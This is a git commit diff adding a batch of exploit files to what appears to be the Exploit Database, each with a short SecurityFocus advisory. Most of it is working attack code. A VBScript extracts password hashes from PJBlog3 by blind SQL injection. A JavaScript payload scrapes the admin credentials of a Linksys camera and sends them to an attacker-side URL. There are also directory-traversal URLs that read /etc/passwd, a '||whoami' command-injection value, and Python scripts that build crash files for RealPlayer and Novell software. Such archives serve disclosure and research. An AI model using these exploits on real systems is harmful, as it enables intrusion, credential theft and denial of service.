Updated 04_22_2014
This commit is contained in:
Offensive Security
parent
60422ba127
commit
ef56e24142
15 changed files with 397 additions and 0 deletions
14
files.csv
14
files.csv
|
|
@ -29692,3 +29692,17 @@ id,file,description,date,author,platform,type,port
|
|||
32941,platforms/php/webapps/32941.txt,"PTCeffect 4.6 - LFI & SQL Injection Vulnerabilities",2014-04-19,"walid naceri",php,webapps,0
|
||||
32942,platforms/linux/remote/32942.txt,"Mozilla Multiple Products Server Refresh Header XSS",2009-04-22,"Olli Pettay",linux,remote,0
|
||||
32943,platforms/hardware/webapps/32943.txt,"Teracom Modem T2-B-Gawv1.4U10Y-BI - CSRF Vulnerability",2014-04-20,"Rakesh S",hardware,webapps,0
|
||||
32944,platforms/multiple/remote/32944.txt,"SAP cFolders Cross Site Scripting And HTML Injection Vulnerabilities",2009-04-21,"Digital Security Research Group",multiple,remote,0
|
||||
32946,platforms/freebsd/local/32946.c,"FreeBSD <= 7.1 libc Berkley DB Interface Uninitialized Memory Local Information Disclosure Vulnerability",2009-01-15,"Jaakko Heinonen",freebsd,local,0
|
||||
32947,platforms/linux/local/32947.txt,"DirectAdmin <= 1.33.3 '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability",2009-04-22,anonymous,linux,local,0
|
||||
32948,platforms/php/webapps/32948.txt,"New5starRating 1.0 'admin/control_panel_sample.php' SQL Injection Vulnerability",2009-04-22,zer0day,php,webapps,0
|
||||
32949,platforms/multiple/dos/32949.txt,"Mani's Admin Plugin Remote Denial Of Service Vulnerability",2009-04-22,M4rt1n,multiple,dos,0
|
||||
32950,platforms/php/webapps/32950.txt,"Flat Calendar 1.1 'add.php' HTML Injection Vulnerability",2009-04-22,ZoRLu,php,webapps,0
|
||||
32951,platforms/novell/dos/32951.py,"Recover Data for Novell Netware 1.0 '.SAV' File Remote Denial of Service Vulnerability",2009-04-23,"AbdulAziz Hariri",novell,dos,0
|
||||
32952,platforms/php/webapps/32952.txt,"CS Whois Lookup 'ip' Parameter Remote Command Execution Vulnerability",2009-04-23,SirGod,php,webapps,0
|
||||
32953,platforms/asp/webapps/32953.vbs,"PuterJam\'s Blog PJBlog3 3.0.6 \'action.asp\' SQL Injection Vulnerability",2009-04-24,anonymous,asp,webapps,0
|
||||
32954,platforms/hardware/remote/32954.txt,"Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities",2009-04-23,pagvac,hardware,remote,0
|
||||
32955,platforms/hardware/remote/32955.js,"Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G Multiple Cross Site Scripting Vulnerabilities",2009-04-25,pagvac,hardware,remote,0
|
||||
32956,platforms/windows/dos/32956.py,"RealNetworks RealPlayer Gold 10.0 MP3 File Handling Remote Denial of Service Vulnerability",2009-04-27,"Abdul-Aziz Hariri",windows,dos,0
|
||||
32957,platforms/windows/remote/32957.txt,"DWebPro 6.8.26 Directory Traversal Vulnerability and Arbitrary File Disclosure Vulnerability",2009-04-27,"Alfons Luja",windows,remote,0
|
||||
32958,platforms/php/webapps/32958.txt,"MataChat 'input.php' Multiple Cross Site Scripting Vulnerabilities",2009-04-27,Am!r,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
81
platforms/asp/webapps/32953.vbs
Executable file
81
platforms/asp/webapps/32953.vbs
Executable file
|
|
@ -0,0 +1,81 @@
|
|||
source: http://www.securityfocus.com/bid/34701/info
|
||||
|
||||
PJBlog3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
If WScript.Arguments.Count <> 2 Then
|
||||
WScript.Echo "Usage: Cscript.exe Exp.vbs ........ ......."
|
||||
WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
|
||||
WScript.Quit
|
||||
End If
|
||||
|
||||
attackUrl = WScript.Arguments(0)
|
||||
attackUser = WScript.Arguments(1)
|
||||
attackUrl = Replace(attackUrl,"\","/")
|
||||
If Right(attackUrl , 1) <> "/" Then
|
||||
attackUrl = attackUrl & "/"
|
||||
End If
|
||||
SHA1Charset = "0123456789ABCDEFJ"
|
||||
strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""
|
||||
|
||||
If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
|
||||
WScript.Echo "......."
|
||||
Else
|
||||
WScript.Echo "......."
|
||||
WScript.Quit
|
||||
End If
|
||||
|
||||
For n=1 To 40
|
||||
For i=1 To 17
|
||||
strInject = strHoleUrl & " Or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
|
||||
If Not IsSuccess(strInject) Then
|
||||
strResult = strResult & Mid(SHA1Charset, i-1, 1)
|
||||
Exit For
|
||||
End If
|
||||
strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
|
||||
WScript.StdOut.Write strPrint
|
||||
Next
|
||||
Next
|
||||
WScript.Echo Chr(13) & Chr (10) & "Done!"
|
||||
|
||||
Function PostData(PostUrl)
|
||||
Dim Http
|
||||
Set Http = CreateObject("msxml2.serverXMLHTTP")
|
||||
With Http
|
||||
.Open "GET",PostUrl,False
|
||||
.Send ()
|
||||
PostData = .ResponseBody
|
||||
End With
|
||||
Set Http = Nothing
|
||||
PostData =bytes2BSTR(PostData)
|
||||
End Function
|
||||
|
||||
Function bytes2BSTR(vIn)
|
||||
Dim strReturn
|
||||
Dim I, ThisCharCode, NextCharCode
|
||||
strReturn = ""
|
||||
For I = 1 To LenB(vIn)
|
||||
ThisCharCode = AscB(MidB(vIn, I, 1))
|
||||
If ThisCharCode < &H80 Then
|
||||
strReturn = strReturn & Chr(ThisCharCode)
|
||||
Else
|
||||
NextCharCode = AscB(MidB(vIn, I + 1, 1))
|
||||
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
|
||||
I = I + 1
|
||||
End If
|
||||
Next
|
||||
bytes2BSTR = strReturn
|
||||
End Function
|
||||
|
||||
Function IsSuccess(PostUrl)
|
||||
|
||||
strData = PostData(PostUrl)
|
||||
'Wscript.Echo strData
|
||||
if InStr(strData,"check_error") >0 then
|
||||
IsSuccess = True
|
||||
Else
|
||||
IsSuccess = False
|
||||
End If
|
||||
'Wscript.Sleep 500 '.......
|
||||
End Function
|
||||
44
platforms/freebsd/local/32946.c
Executable file
44
platforms/freebsd/local/32946.c
Executable file
|
|
@ -0,0 +1,44 @@
|
|||
source: http://www.securityfocus.com/bid/34666/info
|
||||
|
||||
FreeBSD is prone to a local information-disclosure vulnerability.
|
||||
|
||||
Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
#include <db.h>
|
||||
#include <err.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
const char data[] = "abcd";
|
||||
DB *db;
|
||||
DBT dbt;
|
||||
|
||||
/*
|
||||
* Set _malloc_options to "J" so that all memory obtained from
|
||||
* malloc(3) is iniatialized to 0x5a. See malloc(3) manual page
|
||||
* for additional information.
|
||||
*/
|
||||
_malloc_options = "J";
|
||||
|
||||
db = dbopen("test.db", O_RDWR | O_CREAT | O_TRUNC, 0644, DB_HASH, NULL);
|
||||
if (db == NULL)
|
||||
err(1, "dbopen()");
|
||||
|
||||
dbt.data = &data;
|
||||
dbt.size = sizeof(data);
|
||||
|
||||
if (db->put(db, &dbt, &dbt, 0) != 0)
|
||||
err(1, "db->put()");
|
||||
|
||||
db->close(db);
|
||||
|
||||
return (0);
|
||||
}
|
||||
12
platforms/hardware/remote/32954.txt
Executable file
12
platforms/hardware/remote/32954.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/34713/info
|
||||
|
||||
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.
|
||||
|
||||
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable.
|
||||
|
||||
http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
|
||||
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
|
||||
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
|
||||
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd
|
||||
78
platforms/hardware/remote/32955.js
Executable file
78
platforms/hardware/remote/32955.js
Executable file
|
|
@ -0,0 +1,78 @@
|
|||
source: http://www.securityfocus.com/bid/34714/info
|
||||
|
||||
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable.
|
||||
|
||||
http://www.example.com/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e
|
||||
http://www.example.com/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E
|
||||
http://www.example.com/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
|
||||
http://www.example.com/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
|
||||
|
||||
|
||||
// evil.js : malicious JS file, typically located on attacker's site
|
||||
// payload description: steals Linksys WVC54GCA admin password via XSS
|
||||
// tested on FF3 and IE7
|
||||
// based on code from developer.apple.com
|
||||
function loadXMLDoc(url) {
|
||||
req = false;
|
||||
// branch for native XMLHttpRequest object
|
||||
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
|
||||
try {
|
||||
req = new XMLHttpRequest();
|
||||
}
|
||||
catch(e) {
|
||||
req = false;
|
||||
}
|
||||
}
|
||||
// branch for IE/Windows ActiveX version
|
||||
else if(window.ActiveXObject) {
|
||||
try {
|
||||
req = new ActiveXObject("Msxml2.XMLHTTP");
|
||||
}
|
||||
catch(e) {
|
||||
try {
|
||||
req = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
catch(e) {
|
||||
req = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(req) {
|
||||
req.onreadystatechange = processReqChange;
|
||||
req.open("GET", url, true);
|
||||
req.send("");
|
||||
}
|
||||
}
|
||||
// end of loadXMLDoc(url)
|
||||
|
||||
function processReqChange() {
|
||||
// only if req shows "loaded"
|
||||
if (req.readyState == 4) {
|
||||
// only if "OK"
|
||||
if (req.status == 200) {
|
||||
var bits=req.responseText.split(/\"/);
|
||||
var gems="";
|
||||
// dirty credentials-scraping code
|
||||
for (i=0;i<bits.length;++i) {
|
||||
if(bits[i]=="adm" && bits[i+1]==" value=") {
|
||||
gems+="login=";
|
||||
gems+=bits[i+2];
|
||||
}
|
||||
if(bits[i]=="admpw" && bits[i+1]==" value=") {
|
||||
gems+='&password=';
|
||||
gems+=bits[i+2];
|
||||
}
|
||||
}
|
||||
alert(gems); // this line is for demo purposes only and would be removed in a real attack
|
||||
c=new Image();
|
||||
c.src='http://www.example.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var url="/adm/file.cgi?next_file=pass_wd.htm";
|
||||
loadXMLDoc(url);
|
||||
15
platforms/linux/local/32947.txt
Executable file
15
platforms/linux/local/32947.txt
Executable file
|
|
@ -0,0 +1,15 @@
|
|||
source: http://www.securityfocus.com/bid/34676/info
|
||||
|
||||
DirectAdmin creates temporary files in an insecure manner.
|
||||
|
||||
An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.
|
||||
|
||||
Versions prior to DirectAdmin 1.33.4 are vulnerable.
|
||||
|
||||
On server: $ ln -s /etc/poc /home/tmp/database_name.gz
|
||||
On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
|
||||
On server:
|
||||
$ ls -la /etc/poc
|
||||
-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
|
||||
$ zcat /etc/poc | head -1
|
||||
-- MySQL dump 10.9
|
||||
9
platforms/multiple/dos/32949.txt
Executable file
9
platforms/multiple/dos/32949.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/34685/info
|
||||
|
||||
Mani's Admin Plugin is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.
|
||||
|
||||
alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
|
||||
alias bspam "aspam;aspam;aspam;aspam;aspam"
|
||||
bind i "bspam; bspam; bspam"
|
||||
13
platforms/multiple/remote/32944.txt
Executable file
13
platforms/multiple/remote/32944.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/34658/info
|
||||
|
||||
SAP cFolders is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
|
||||
|
||||
|
||||
The following example URIs are available:
|
||||
|
||||
https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/col_table_filter.htm?p_current_role=aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>
|
||||
|
||||
https://www.example.com/sap/bc/bsp/sap/cfx_rfc_ui/me_ov.htm?p_current_role= aaaaaaaa<IMG/SRC=JaVaScRiPt:alert('DSECRG')>
|
||||
|
||||
54
platforms/novell/dos/32951.py
Executable file
54
platforms/novell/dos/32951.py
Executable file
|
|
@ -0,0 +1,54 @@
|
|||
source: http://www.securityfocus.com/bid/34693/info
|
||||
|
||||
Recover Data for Novell Netware is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
Successfully exploiting this issue will cause the application to crash, denying service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed.
|
||||
|
||||
Recover Data for Novell Netware 1.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys,os
|
||||
|
||||
#Novell Data Recovery Software.SAV DoS PoC by AbdulAziz Hariri -ahariri@insight-tech.org
|
||||
#Insight Technologies - http://www.insight-tech.org
|
||||
|
||||
SAV_file =("\x52\x65\x63\x6F\x76\x65\x72\x20\x44\x61\x74\x61\x20\x66\x6F\x72\x20\x4E\x6F\x76\x65"+
|
||||
"\x6C\x6C\x20\x4E\x65\x74\x77\x61\x72\x65\x20\x31\x2E\x30\x0F\x00\x00\x00\x48\x54\x53\x35\x34\x31\x30\x38\x30\x47\x39"+
|
||||
"\x41\x54\x30\x30\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"+
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x1B"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
try:
|
||||
f = open("foo.SAV","w")
|
||||
try:
|
||||
f.write(SAV_file)
|
||||
finally:
|
||||
f.close()
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
print "[x] Try loading foo.SAV in Novell Data Recovery Software"
|
||||
11
platforms/php/webapps/32948.txt
Executable file
11
platforms/php/webapps/32948.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/34680/info
|
||||
|
||||
New5starRating is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
New5starRating 1.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
Supplying the following to the vulnerable script is sufficient to exploit this issue:
|
||||
|
||||
Username : admin 'or' 1=1
|
||||
7
platforms/php/webapps/32950.txt
Executable file
7
platforms/php/webapps/32950.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/34688/info
|
||||
|
||||
Flat Calendar is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
|
||||
|
||||
"><script>alert("ZoRLu")</script>
|
||||
7
platforms/php/webapps/32952.txt
Executable file
7
platforms/php/webapps/32952.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/34700/info
|
||||
|
||||
CS Whois Lookup is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.
|
||||
|
||||
Successful attacks can compromise the affected software and possibly the computer.
|
||||
|
||||
http://www.example.com/path/index.php?ip=||whoami
|
||||
7
platforms/php/webapps/32958.txt
Executable file
7
platforms/php/webapps/32958.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/34722/info
|
||||
|
||||
MataChat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.
|
||||
|
||||
http://www.example.com/[path]/input.php?nickname=[XSS]&color=[XSS]
|
||||
33
platforms/windows/dos/32956.py
Executable file
33
platforms/windows/dos/32956.py
Executable file
|
|
@ -0,0 +1,33 @@
|
|||
source: http://www.securityfocus.com/bid/34719/info
|
||||
|
||||
RealNetworks RealPlayer is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted files.
|
||||
|
||||
Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.
|
||||
|
||||
RealPlayer 10 Gold is vulnerable; other versions may also be affected.
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys,os
|
||||
|
||||
#RealPlayer MP3 DoS PoC by AbdulAziz Hariri - ahariri@insight-tech.org
|
||||
|
||||
mp3_file =
|
||||
("\x49\x44\x33\x00\x00\x00\x00\x00\x09\x07\x41\x41\x41\x41\x00\x00\x00\x08\x00\x00\x00"+
|
||||
"\x50\x69\x73\x74\x65\x20\x35\x54\x50\x45\x31\x00\x00\x00\x05\x00\x00\x00\x41\x6e"+
|
||||
"\x69\x73\x54\x41\x4c\x42\x00\x00\x00\x0d\x00\x00\x00\x41\x41\x41\x41"+
|
||||
"\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
+ "\x41"*2000)
|
||||
|
||||
try:
|
||||
f = open("foo.mp3","w")
|
||||
try:
|
||||
f.write(mp3_file)
|
||||
finally:
|
||||
f.close()
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
print "[x] Try loading foo.mp3"
|
||||
|
||||
12
platforms/windows/remote/32957.txt
Executable file
12
platforms/windows/remote/32957.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/34721/info
|
||||
|
||||
DWebPro is prone to a directory-traversal vulnerability and a vulnerability that allows attackers to view arbitrary files.
|
||||
|
||||
An attacker can exploit these issues to obtain sensitive information that may lead to other attacks.
|
||||
|
||||
DWebPro 6.8.26 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/
|
||||
http://www.example.com:8080/..%2f..%2f..%2fWINDOWS%2f
|
||||
http://www.example.com:8080/..\/www/500-100-js.asp::$DATA
|
||||
http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA
|
||||
Loading…
Add table
Reference in a new issue